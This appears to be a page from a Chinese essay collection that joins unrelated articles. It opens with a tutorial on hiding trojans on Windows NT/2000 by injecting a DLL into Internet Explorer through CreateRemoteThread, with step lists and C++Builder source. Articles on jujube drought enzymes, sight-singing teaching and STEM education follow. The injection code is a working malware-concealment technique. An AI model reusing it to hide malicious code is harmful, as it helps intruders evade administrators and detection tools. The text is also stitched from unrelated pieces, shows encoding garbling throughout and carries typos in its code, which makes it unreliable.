木馬程序(也稱后門程序)是能被控制的運(yùn)行在遠(yuǎn)程主機(jī)上的程序，由于木馬程序是運(yùn)行在遠(yuǎn)程主機(jī)上，所以進(jìn)程的隱藏?zé)o疑是大家關(guān)心的焦點(diǎn)。

本文分析了WindowsNT/2000系統(tǒng)下進(jìn)程隱藏的基本技術(shù)和方法，并著重討論運(yùn)用線程嫁接技術(shù)如何實(shí)現(xiàn)WindowsNT/2000系統(tǒng)中進(jìn)程的隱藏。

1基本原理

在WIN95/98中，只需要將進(jìn)程注冊為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形，可是這一切在WindowsNT/2000中卻完全不同，無論木馬從端口、啟動文件上如何巧妙地隱藏自己，始終都不能躲過WindowsNT/2000的任務(wù)管理器，WindowsNT/2000的任務(wù)管理器均能輕松顯示出木馬進(jìn)程，難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進(jìn)程了？我們知道，在WINDOWS系統(tǒng)下，可執(zhí)行文件主要是Exe和Com文件，這兩種文件在運(yùn)行時(shí)都有一個(gè)共同點(diǎn)，會生成一個(gè)獨(dú)立的進(jìn)程，尋找特定進(jìn)程是我們發(fā)現(xiàn)木馬的方法之一，隨著入侵檢測軟件的不斷發(fā)展，關(guān)聯(lián)進(jìn)程和SOCKET已經(jīng)成為流行的技術(shù)，假設(shè)一個(gè)木馬在運(yùn)行時(shí)被檢測軟件同時(shí)查出端口和進(jìn)程，我們基本上認(rèn)為這個(gè)木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進(jìn)程對于系統(tǒng)管理員來說都是可見的，要想做到木馬的進(jìn)程隱藏，有兩個(gè)辦法，第一是讓系統(tǒng)管理員看不見你的進(jìn)程；第二是不使用進(jìn)程。本文以第二種方法為例加以討論，其基本原理是將自已的木馬以線程方式嫁接于遠(yuǎn)程進(jìn)程之中，遠(yuǎn)程進(jìn)程則是合法的用戶程序，這樣用戶管理者看到的只是合法進(jìn)程，而無法發(fā)現(xiàn)木馬線程的存在，從而達(dá)到隱藏的目的。

2實(shí)現(xiàn)方法

為了弄清實(shí)現(xiàn)方法，我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL，DLL是DynamicLinkLibrary（動態(tài)鏈接庫）的縮寫，DLL文件是Windows的基礎(chǔ)，因?yàn)樗械腁PI函數(shù)都是在DLL中實(shí)現(xiàn)的。DLL文件沒有程序邏輯，是由多個(gè)功能函數(shù)構(gòu)成，它并不能獨(dú)立運(yùn)行，一般都是由進(jìn)程加載并調(diào)用的。因?yàn)镈LL文件不能獨(dú)立運(yùn)行，所以在進(jìn)程列表中并不會出現(xiàn)DLL，假設(shè)我們編寫了一個(gè)木馬DLL，并且通過別的進(jìn)程來運(yùn)行它，那么無論是入侵檢測軟件還是進(jìn)程列表中，都只會出現(xiàn)那個(gè)進(jìn)程而并不會出現(xiàn)木馬DLL，如果那個(gè)進(jìn)程是可信進(jìn)程，（例如瀏覽器程序IEXPLORE.EXE，沒人會懷疑它是木馬吧？）那么我們編寫的DLL作為那個(gè)進(jìn)程的一部分，也將成為被信賴的一員，也就達(dá)到了隱藏的目的。

運(yùn)行DLL方法有多種，但其中最隱蔽的方法是采用動態(tài)嵌入技術(shù)，動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運(yùn)行的進(jìn)程中的技術(shù)。理論上來說，在Windows中的每個(gè)進(jìn)程都有自己的私有內(nèi)存空間，別的進(jìn)程是不允許對這個(gè)私有空間進(jìn)行操作的，但是實(shí)際上，我們?nèi)匀豢梢岳梅N種方法進(jìn)入并操作進(jìn)程的私有內(nèi)存。動態(tài)嵌入技術(shù)有多種如：窗口Hook、掛接API、遠(yuǎn)程線程等，這里介紹一下遠(yuǎn)程線程技術(shù)，它只要有基本的進(jìn)線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。

遠(yuǎn)程線程技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。我們知道，在進(jìn)程中，可以通過CreateThread函數(shù)創(chuàng)建線程，被創(chuàng)建的新線程與主線程（就是進(jìn)程啟動時(shí)被同時(shí)自動建立的那個(gè)線程）共享地址空間以及其他的資源。但是很少有人知道，通過CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程，被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程（是遠(yuǎn)程進(jìn)程）的地址空間，所以，實(shí)際上，我們通過一個(gè)遠(yuǎn)程線程，進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間，也就擁有了那個(gè)遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。

3實(shí)施步驟

1）用Process32Next（）函數(shù)找到宿主進(jìn)程,獲取宿主進(jìn)程ID,并用

OpenProcess（）函數(shù)打開宿主進(jìn)程。

2）用VirtualAllocEx（）函數(shù)分配遠(yuǎn)程進(jìn)程地址空間中的

內(nèi)存。

3）用WriteProcessMemory（）函數(shù)將待隱藏的DLL的路徑名。

4）拷貝到步驟二已經(jīng)分配的內(nèi)存中。

5）用GetProcAddress（）函數(shù)獲取LoadlibraryA（）函數(shù)的實(shí)地址（在kernel32.dll中）。

6）用CreateRemoteThread（）函數(shù)在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程。

7）它調(diào)用正確的LoadlibraryA（）函數(shù)。

8）為它傳遞步驟二中分配的內(nèi)存地址。

4具體實(shí)例

下面是在C++Builder4.0環(huán)境下編寫的運(yùn)用遠(yuǎn)程線程技術(shù)隱藏木馬的程序代碼：

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進(jìn)程操作的API函數(shù)

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進(jìn)程快照句柄

HANDLEhRemoteProcess;//遠(yuǎn)程進(jìn)程句柄

LPVOIDpszLibFileRemote;//遠(yuǎn)程進(jìn)程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠(yuǎn)程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開進(jìn)程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個(gè)進(jìn)程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進(jìn)程，以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個(gè)進(jìn)程

}

else

{

MessageBox(NULL,"取第一個(gè)進(jìn)程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開遠(yuǎn)程進(jìn)程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設(shè)hide.dll是待隱藏的進(jìn)程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計(jì)算dll文件名長度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫入申請的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動態(tài)鏈接庫函數(shù)地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創(chuàng)建遠(yuǎn)程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關(guān)閉遠(yuǎn)程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關(guān)閉進(jìn)程快照

}

該程序編譯后命名為RmtDll.exe,運(yùn)行時(shí)點(diǎn)擊界面上的按鈕即可。

至此，遠(yuǎn)程嵌入順利完成，為了試驗(yàn)我們的hide.dll是不是已經(jīng)正常地在遠(yuǎn)程線程運(yùn)行，我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試：

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當(dāng)前進(jìn)程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當(dāng)使用RmtDll.exe程序?qū)⑦@個(gè)hide.dll嵌入IEXPLORE.EXE進(jìn)程后假設(shè)PID=1208），該測試DLL彈出了1208字樣的確認(rèn)框，同時(shí)使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

這證明hide.dll已經(jīng)在IEXPLORE.EXE進(jìn)程內(nèi)正確地運(yùn)行了。上面程序的頭文件由編譯器自動生成，未作改動，故略之。

5結(jié)束語

進(jìn)程隱藏技術(shù)和方法有很多，而且這一技術(shù)發(fā)展也相當(dāng)快，本文僅從一個(gè)側(cè)面加以討論，希望通過這一探討讓我們對進(jìn)程隱藏技術(shù)有一個(gè)更清楚的認(rèn)識，同時(shí)也為我們防范他人利用進(jìn)程隱藏手段非法入侵提供參考，本文拋磚引玉，不當(dāng)之處誠懇批評指正。

參考文獻(xiàn)

篇6

關(guān)鍵詞：保護(hù)酶；水分脅迫；駿棗

文章編號：1005-345X（2016）02-0001-03 中圖分類號：S665.1 文獻(xiàn)標(biāo)識碼：A

駿棗是山西主栽的經(jīng)濟(jì)林作物之一，在晉中一帶被廣泛栽培，已成為當(dāng)?shù)乩习傩赵鍪盏墓麡渲?。山西地處黃土高坡，常遭遇干旱，對駿棗的產(chǎn)量造成很大的影響，因此，研究在水分脅迫下，駿棗體內(nèi)SOD、POD、CAT 3種抗氧化保護(hù)酶活性的變化，探討駿棗對干旱的耐受力，可以為駿棗抗旱栽培技術(shù)提供一些理論依據(jù)，更好的服務(wù)于生產(chǎn)。

1 材料與方法

供試棗樹品種為大小一致健壯的駿棗嫁接苗，3年生。栽棗樹所用的瓦盆直徑40 cm，深50 cm。栽植之前稱量瓦盒的重量及盆中土壤的重量，瓦盆中土壤為沙壤士。

水分脅迫開始時(shí)間是2014年8月10日，在此之前，將花盆進(jìn)行控水處理，分別為：對照（處理1，田間相對持水量的70%）、輕度缺水（處理2，田間相對持水量的55%）、中度缺水（處理3，田間相對持水量的40%）和重度缺水（處理4，田間相對持水量的30%）4個(gè)處理。方法是：每個(gè)處理不澆水，待土壤含水量自然消耗至設(shè)定標(biāo)準(zhǔn)后，每天稱重并補(bǔ)充消耗的水量，以控制含水量在設(shè)定范圍內(nèi)。處理15 d后采集葉片，以后每隔15 d采1次，進(jìn)行SOD、POD和CAT的活性測定，采用李和生方法測定SOD活性[1]，采用朱廣廉的方法測定POD活性[2]，采用張立軍的方法測定CAT活性[3]。各項(xiàng)指標(biāo)的測定均重復(fù)3次。

2 結(jié)果與分析

2.1 水分脅迫下駿棗葉片內(nèi)的SOD活性的變化趨勢

試驗(yàn)證明（圖1），無論在哪種水分脅迫條件下，隨著時(shí)間的延長，棗樹葉片內(nèi)SOD的活性均呈先升后降。干旱處理第1天時(shí)，對照、輕度水分脅迫、中度水分脅迫和重度水分脅迫的SOD的活性分別為280.23 u/g、280.31 u/g、360.54 u/g和233.28 u/g，其中以處理3的SOD活性最高，處理1和處理2的SOD活性值基本一致。水分脅迫第45天時(shí)，處理4的SOD值已達(dá)到最低，表明重度水分脅迫下SOD已經(jīng)無法起到清除自由基的作用，樹體嚴(yán)重受損。

2.2 水分脅迫下駿棗葉片內(nèi)的POD活性的變化趨勢

片內(nèi)POD活性先升后降。各處理在水分脅迫下表現(xiàn)的數(shù)據(jù)曲線與SOD數(shù)據(jù)曲線基本相同，總體趨勢都是先升然后下降，但POD的活性在干旱處理后第15天先到達(dá)高峰，而SOD活性在處理后第30天才到達(dá)高峰，說明SOD對干旱忍受能力更強(qiáng)。在干旱處理第30天時(shí)，各處理POD活性值差別不太大，對照、輕度、中度、重度水分脅迫下駿棗葉片中的POD值分別是400.2 u/g、340.12 u/g、330.48 u/g、379.89 u/g。

2.3 水分脅迫下駿棗葉片內(nèi)的CAT活性的變化趨勢

H2O2的清除是細(xì)胞徹底消除活性氧的關(guān)鍵，SOD等產(chǎn)生出來的H2O2可以被CAT轉(zhuǎn)化成H2O，SOD與CAT協(xié)同反應(yīng)使植物體內(nèi)的活性氧維持在較低水平上。

圖3表明，隨著水分脅迫天數(shù)的增加，處理3和處理4的CAT活性總體變化趨勢為波動狀態(tài)，均為先上升后下降再上升。隨著干旱持續(xù)時(shí)間的延長，在水分脅迫處理第15天時(shí)，中度脅迫的CAT活性為35.3 μmol/g，重度水分脅迫的CAT為37.9 μmol/g，說明駿棗葉片中CAT活性被激活，能抵抗植物葉片的衰老。

3 討論

SOD、POD和CAT的作用是清除或猝滅已存在的活性氧。SOD將O-2歧化為H2O2和O2，POD與CAT等酶協(xié)同作用再將H2O2轉(zhuǎn)化為無害的H2O。

本試驗(yàn)結(jié)果表明，在水分脅迫下駿棗葉片內(nèi)的SOD、POD和CAT的活性先升后降。SOD、POD和CAT 3種酶對水分脅迫的敏感程度不同，其中POD活性在輕度水分脅迫下達(dá)到最高值，在中度和重度水分脅迫下POD活性降低。而SOD和CAT的活性則在中度水分脅迫下達(dá)到最高值。水分脅迫前期3種酶活性的增加有力地證明駿棗在干旱下能維持較高的抗氧化能力。在深度水分脅迫下酶活性降低，說明樹體內(nèi)活性氧的含量/抗氧化系統(tǒng)的防御力是某一定值，大于這個(gè)值的時(shí)候，防御系統(tǒng)的清除能力低于活性氧的產(chǎn)生能力，活性氧大量累積，就會損害細(xì)胞內(nèi)包括保護(hù)酶在內(nèi)的生物大分子，從而導(dǎo)致酶活性降低。生物大分子受損后產(chǎn)生活性氧，這樣形成一個(gè)惡性循環(huán)，最終的結(jié)果是活性氧越來越多，樹體受損越來越重，這也是為什么持續(xù)的干旱會對植物造成不可恢復(fù)性損傷的原因。

參考文獻(xiàn)

[1]李合生主編.植物生理生化實(shí)驗(yàn)原理和技術(shù)[M].北京：高等教育出版社，1999.

[2]朱廣廉，鐘害文，張愛琴主編.植物生理學(xué)實(shí)驗(yàn)[M].北京：北京大學(xué)出版社，1999.

[3]張立軍，樊金娟.植物生理學(xué)實(shí)驗(yàn)教程[M].北京：北京農(nóng)業(yè)大學(xué)出版社，2007.

篇7

關(guān) 鍵 詞：模仿記憶法 旋律 逐漸 改變 由簡到繁 由易到難

在高師音樂教育和專業(yè)音樂院校課程體系中，視唱練耳是一門非常重要的基礎(chǔ)課程。通過視唱練耳的教學(xué)可以培養(yǎng)學(xué)生的音準(zhǔn)感、節(jié)奏感、調(diào)性感等多種音樂感覺;提高視譜能力和記譜能力;發(fā)展音樂記憶能力、內(nèi)心音樂聽覺能力;最終能夠準(zhǔn)確地去理解音樂、記憶音樂、表現(xiàn)音樂和創(chuàng)造音樂。

隨著我國教育觀念的逐漸“人本化”改變，相應(yīng)的教學(xué)方法也理應(yīng)得到切實(shí)的完善與改革。古語有云“工欲善其事，必先利其器”（《論語·衛(wèi)靈公》）。句中的“事”就是視唱練耳課的教學(xué)，“器”完全可以視為是技術(shù)、教學(xué)方法。本文就是在這樣的背景下產(chǎn)生的，借以拋磚引玉。

旋律是由一系列不同高低、長短、強(qiáng)弱的樂音構(gòu)成的有表現(xiàn)意義的樂音線條，是音樂中極為重要的表現(xiàn)手段。它是音樂作品中最重要的直觀“色彩”，也是人的感官最容易接受、最容易記憶的音樂信息。而且，旋律的形態(tài)與人的語言的音調(diào)形態(tài)之間有著直覺的聯(lián)系，更能引起聽覺的注意和內(nèi)心情感的共鳴。人們可以隨時(shí)哼唱出他們心中熟悉的旋律，這些旋律是他們心中永遠(yuǎn)的記憶。而不同的旋律包含有不同的音高、節(jié)奏、速度、力度等要素。因此，在視唱練耳的教學(xué)中，就可以利用旋律這種特性來進(jìn)行教學(xué)。但長期以來，課堂教學(xué)中都采用老師彈，學(xué)生視唱、聽記的方法。筆者認(rèn)為這種方法忽略了低水平的學(xué)生，無論旋律有多難，都是一概而論。而且各種知識點(diǎn)比如節(jié)奏的學(xué)習(xí)，缺乏針對性，學(xué)習(xí)旋律時(shí)有什么節(jié)奏型就學(xué)習(xí)什么，更不談讓學(xué)生知道各種節(jié)奏型之間的區(qū)別與聯(lián)系了。這樣，必然會影響低水平學(xué)生的積極性和主動性，其結(jié)果可想而知。因此這種“一法獨(dú)尊”的教學(xué)現(xiàn)象必須改變，要形成“百花齊放，百家爭鳴”的多元化局面，達(dá)到共同的教學(xué)目的——提高視唱練耳課的教學(xué)效率。

本文所論述的“模仿記憶法”采用教育學(xué)和心理學(xué)的有關(guān)原理，具體嫁接到視唱練耳的教學(xué)中。“模仿” 一詞最早出現(xiàn)在貝告德所寫的《構(gòu)理與政治》一書中。“模仿指的是效仿特定方式的動作或者行為規(guī)范?！雹倌７率巧鐣W(xué)習(xí)的重要形式，在個(gè)體社會化過程中起著重要的作用。如嬰幼兒就是因模仿而獲得最初的知識的。模仿也是人們彼此之間相互影響的重要方式之一。人和動物都會模仿，但重要的是怎樣模仿。模仿不應(yīng)該是教條而刻板地重復(fù)他者的動作或行為，而應(yīng)該是以自己的特有方式，“因地制宜”地模仿?！澳７掠洃浄ā本褪怯靡欢螌W(xué)生耳熟能詳?shù)男勺鳛榻虒W(xué)的模板（模仿對象）。它可以是一首歌曲或是其他音樂體裁的主旋律，其標(biāo)準(zhǔn)是學(xué)生必須對它非常熟悉，能夠隨時(shí)哼唱，且難度較低，以有利于之后逐漸加大難度，逐漸對旋律中的音高、節(jié)奏、節(jié)拍、速度等要素進(jìn)行由簡到繁、由易到難的改變，讓學(xué)生了解它們之間前后是怎樣變化的， 從而輕松地掌握各個(gè)要素，達(dá)到事半功倍的教學(xué)效果。美國著名心理學(xué)家奧蘇伯爾進(jìn)行的一組實(shí)驗(yàn)證明:如果進(jìn)行有意義材料的學(xué)習(xí)，使新舊知識不斷分化和綜合貫通，而且應(yīng)該注意在原有知識較為鞏固以后引進(jìn)新知識，在這種情況下，先后學(xué)習(xí)的相似而又不一致的材料不僅可以避免相互干擾(前攝抑制和倒攝抑制②)，而且，可以使新舊知識的學(xué)習(xí)相互促進(jìn)?！雹圻@里的“原有知識”就是本文所述的模板(模仿對象)，“新知識”就是逐漸進(jìn)行的各個(gè)要素的改變。

下面結(jié)合筆者的教學(xué)實(shí)踐，以莫扎特的《小星星變奏曲》的主旋律為例，具體地介紹“模仿記憶法”的操作步驟：

模板旋律:

第一步，進(jìn)一步熟悉模板旋律，教師帶領(lǐng)學(xué)生簡要分析旋律。

如下：C大調(diào)，四四拍子，一共十二小節(jié)，和聲多以二、四、五度進(jìn)行，節(jié)奏均為 × × × ×︳× × ×—︳進(jìn)行?？偟膩碚f，這條旋律是比較簡單的。這樣，讓學(xué)生總體上把握了這段旋律，然后，教師彈奏，學(xué)生即時(shí)視唱和聽記。

第二步，遵照由簡到繁，由易到難的原則，對旋律進(jìn)行各個(gè)要素的逐漸改變。

一、節(jié)奏 節(jié)奏是音樂的脈搏，是音樂的生命基礎(chǔ)，而“節(jié)奏型就是樂音在音響運(yùn)動過程中將旋律線賦予生命活力的脈動機(jī)，它產(chǎn)生各種不同的節(jié)奏組合以推動樂音的運(yùn)動?！雹芤虼吮仨氈攸c(diǎn)進(jìn)行不同節(jié)奏型的練習(xí)，使學(xué)生熟悉并掌握各種節(jié)奏型。

首先，把旋律的第三、第五小節(jié)的原有節(jié)奏型 × × × ×分別改變?yōu)椤?×× 　×× ×和×× × × ××，同時(shí)把原有的四分音符FA、MI和SOL分別變?yōu)閮蓚€(gè)八分音符的FA、MI和SOL。此時(shí)訓(xùn)練的節(jié)奏型就是×× ×與× ××。然后教師按照上述改變彈奏，要求學(xué)生視唱和聽記，并且讓學(xué)生說出與原有旋律的不同之處。下面，可以逐漸加大節(jié)奏型的難度，如附點(diǎn)節(jié)奏型、切分型、十六分音符型等。如下表：

二、音高(音程) 對旋律的分析可知，此曲僅有二、四、五度進(jìn)行。所以在教學(xué)中可以加入三、六、七、八度進(jìn)行。具體做法還是遵照由簡到繁、由易到難的原則，逐漸由一拍到一小節(jié)，再到一樂節(jié)，直到一樂句進(jìn)行改變，使學(xué)生循序漸進(jìn)地在各種變化中掌握各種音程。

例如，可以把第一小節(jié)第三、第四拍的SOL分別變?yōu)镸I，這樣就由原來的DO — SOL純五度進(jìn)行變?yōu)榱薉O — MI大三度進(jìn)行；之后可以把旋律中的二、三度音程分別轉(zhuǎn)位，進(jìn)行六、七度音程的練習(xí)。

三、休止符 “此時(shí)無聲勝有聲”，此話說明了休止符在音樂中表情達(dá)意的重要作用。通觀全曲，沒有一處休止，因此有必要進(jìn)行練習(xí)。

休止符的練習(xí)可以和節(jié)奏練習(xí)放在一起進(jìn)行。即把×改為×O把×—改為× ×O或者×× O×；也可以逐步進(jìn)行十六分休止符、切分的練習(xí)。

四、其他 如調(diào)式、節(jié)拍、速度、力度都是視唱練耳課必須要解決的問題，可以進(jìn)行大小調(diào)之間的轉(zhuǎn)調(diào)，四拍子與二拍子、三拍子之間的轉(zhuǎn)換，速度由快到慢或由慢到快的改變。這些都可以運(yùn)用“模仿記憶法”給予練習(xí)與解決。

“模仿記憶法”是筆者在教學(xué)實(shí)踐中總結(jié)出來的一套簡單易用的方法，適合于初中級程度的學(xué)生。操作的關(guān)鍵是遵照由簡到繁、由易到難的原則，讓學(xué)生知道前后要素之間的區(qū)別和是怎樣變化的。這樣，學(xué)生對知識點(diǎn)的認(rèn)識和掌握是由淺入深，循序漸進(jìn)的。對教師來說，則成功地完成了課堂教學(xué)，達(dá)到了共同的教學(xué)目的。

注釋:

①見教育心理學(xué)[M].(美) J.M·索里等著 高覺敷等譯 人民教育出版社 1982年 第237頁

②前攝抑制是指先學(xué)習(xí)的材料對記憶后學(xué)習(xí)的材料所發(fā)生的干擾作用。倒攝抑制是指后學(xué)習(xí)的材料對記憶先學(xué)習(xí)的材料所發(fā)生的干擾作用?！浴陡叩葞煼缎睦韺W(xué)教程》[M].李錚主編 中國科學(xué)技術(shù)大學(xué)出版社 1993年 第82頁

篇8

【關(guān)鍵詞】STEM教育；Scratch編程；3D建模打??；創(chuàng)客教育

【中圖分類號】G633.67 【文獻(xiàn)標(biāo)識碼】A

【論文編號】1671-7384（2017）04-0035-04

著名的物理學(xué)家錢學(xué)森曾提出這樣一個(gè)問題：“為什么我們的學(xué)?？偸桥囵B(yǎng)不出杰出的人才？”這一世紀(jì)之問引發(fā)了教育界的深入思考。毫無疑問，我們的學(xué)校能夠培養(yǎng)出來“人才”，只是錢老所說的“杰出人才”更強(qiáng)調(diào)的是具有創(chuàng)新能力的人才。特別是在世界多極化、經(jīng)濟(jì)全球化背景下，科技創(chuàng)新成為驅(qū)動經(jīng)濟(jì)發(fā)展的關(guān)鍵動力，科技人才是國家科技實(shí)力、創(chuàng)新實(shí)力和國家競爭力的重要體現(xiàn)，因此，培養(yǎng)科技人才、提升創(chuàng)新能力成為各國教育的重要內(nèi)容。而我國在應(yīng)試教育背景下，長期以來存在著重腦力輕手工、重理科輕工程的現(xiàn)象，相當(dāng)多的學(xué)生眼高手低、高分低能。遠(yuǎn)在大西洋彼岸的創(chuàng)新強(qiáng)國似乎可以為我們提供新思路：美國有“惠普車庫”“迪斯尼車庫”“亨利?福特車庫”“蘋果電腦車庫”“A Spec車庫”等這些為全球提供創(chuàng)新科技的“車庫”，于是便有了“車庫文化”一說。這種車庫文化體現(xiàn)了美國國民的“尚技重工”，推進(jìn)了人類科技的進(jìn)步，也潛移默化地影響著他們的下一代，這種“車庫文化”就是創(chuàng)客教育，它提倡自己動手DIY、鼓勵創(chuàng)新開拓的思想。同時(shí)，STEM教育被視為培養(yǎng)學(xué)生科技創(chuàng)新能力的有效方式，受到世界各國的廣泛關(guān)注。STEM 即科學(xué)、技術(shù)、工程和數(shù)學(xué)四門學(xué)科的簡稱，于20世紀(jì)80年代末由美國科學(xué)基金會聯(lián)合科學(xué)家、技術(shù)家、工程師和數(shù)學(xué)家共同提出。STEM教育致力于培養(yǎng)和提高學(xué)生跨學(xué)科解決問題的能力，強(qiáng)調(diào)工程技術(shù)與科學(xué)、數(shù)學(xué)等學(xué)科的融合。雖然，創(chuàng)客教育與STEM教育的關(guān)系在學(xué)術(shù)界仍然存在爭議，但是在實(shí)踐中將學(xué)校內(nèi)的創(chuàng)客教育視為STEM教育，是一種平衡實(shí)踐和理性的辦法。美國的STEM教育實(shí)踐證明，STEM教育可以提升國民素質(zhì)，促進(jìn)就業(yè)與收入分配的均衡化，增強(qiáng)國家經(jīng)濟(jì)實(shí)力，驅(qū)動創(chuàng)新。

創(chuàng)設(shè)STEM教育體驗(yàn)空間

目前，我國的STEM教育逐漸蓬勃發(fā)展起來，2016年3月的《中國創(chuàng)客教育藍(lán)皮書2015》，體現(xiàn)了國家對STEM教育的重視。許多學(xué)校也相繼開展了STEM教育實(shí)踐，并取得一定的成果，如清華大學(xué)i.Center眾創(chuàng)空間、英特爾―西南交通大學(xué)大學(xué)生創(chuàng)客活動中心、溫州中學(xué)DF創(chuàng)客空間和北京市豐臺區(qū)第八中學(xué)創(chuàng)客空間。但是前進(jìn)的道路不會是一帆風(fēng)順的，筆者在基層了解到的許多學(xué)校的STEM教育運(yùn)作模式是：當(dāng)上級發(fā)文有創(chuàng)新競賽或者機(jī)器人賽事的時(shí)候，學(xué)校層面布置發(fā)動，購置賽事主辦方規(guī)定某贊助商所在公司生產(chǎn)的機(jī)器人，訓(xùn)練學(xué)生參賽拿獎。很多學(xué)校的STEM教育的實(shí)施現(xiàn)狀從實(shí)施時(shí)間上看是從文件頒布開始到拿獎狀結(jié)束；從內(nèi)容上看創(chuàng)新大賽往往嫁接了許多教師的創(chuàng)意，機(jī)器人比賽運(yùn)用指定機(jī)型、指定軟件、指定方案進(jìn)行設(shè)計(jì)；從受眾上看，僅是一小部分學(xué)生參與。因此，在STEM教育的實(shí)踐過程中存在著內(nèi)容形式化、創(chuàng)意虛假化、目的功利化的不足。教育是慢的藝術(shù)，它需要有一個(gè)普及的、持續(xù)的推動，因此STEM教育的實(shí)踐就必須建設(shè)體驗(yàn)空間，讓每一名學(xué)生都有機(jī)會、有時(shí)間、有空間感受STEM教育的魅力，點(diǎn)燃創(chuàng)造激情。

1. 從社會層面，培育有共同興趣愛好或利益的社會群體

如上海創(chuàng)客中心在內(nèi)的90家創(chuàng)業(yè)服務(wù)組織共同成立了上?！氨妱?chuàng)空間”聯(lián)盟，中國電子學(xué)會現(xiàn)代教育技術(shù)分會牽頭的全國中小學(xué)STEAM教育大會目前已召開四屆；柴火創(chuàng)客空間得到全球最大的創(chuàng)客集會Maker Faire 官方授權(quán)，以主辦方的形式從2012 年起開始每年舉辦深圳制匯節(jié)。社會作為一個(gè)大的環(huán)境，擁有豐富的資源和條件，社會群體的建立一方面可以吸引志同道合的學(xué)生聚集在一起激發(fā)熱情，彼此的想法碰撞出創(chuàng)造火花；另一方面有利于資源的整合和充分利用。利用學(xué)校以外的一些好的資源和服務(wù)，還會讓學(xué)校和學(xué)生暢通地享受高精尖技術(shù)帶來的視野和能力的躍升，以及以此為載體帶來的人際交流范圍的擴(kuò)大，為其以后健康走入社會和生活奠定基礎(chǔ)。

2. 從學(xué)校層面，建設(shè)STEM體驗(yàn)中心

最近江蘇、重慶、上海等地命名了一批STEM實(shí)驗(yàn)學(xué)?；蛘逽TEM實(shí)驗(yàn)工作室。學(xué)校是教書育人的主要陣地，因此非常有必要通過學(xué)校層面的引領(lǐng)來帶動STEM教育或者說創(chuàng)客教育的開展。在各校建設(shè)STEM體驗(yàn)中心或者創(chuàng)客教室，對學(xué)生更開放，可以讓每一名學(xué)生都能動動手、動動腦，切實(shí)感受到STEM教育的魅力。

3. 從家庭層面，建設(shè)角落文化

創(chuàng)作需要有一個(gè)DIY的三維物理空間。美國有車庫文化，但許多中國家庭目前的住房條件或許都不具備?；诒緡鴩?，每個(gè)中國家庭里可以建設(shè)“角落文化”，并配置DIY的相應(yīng)工具器材，以供孩子們在空閑時(shí)間動手?jǐn)[弄，在這小小的角落里說不定就能萌生大大的創(chuàng)意。

只有建立良好的創(chuàng)客教育大環(huán)境才能讓創(chuàng)客運(yùn)動席卷全國。所以，要解決STEM課程的空間體驗(yàn)問題，需要通過社會、學(xué)校、家庭的“三維驅(qū)動”才能有效打通邊界，使得社會之間、學(xué)校之間、家長之間的知識和智慧暢通流傳，以智慧生成智慧，最終服務(wù)于學(xué)生的健康成長與發(fā)展。

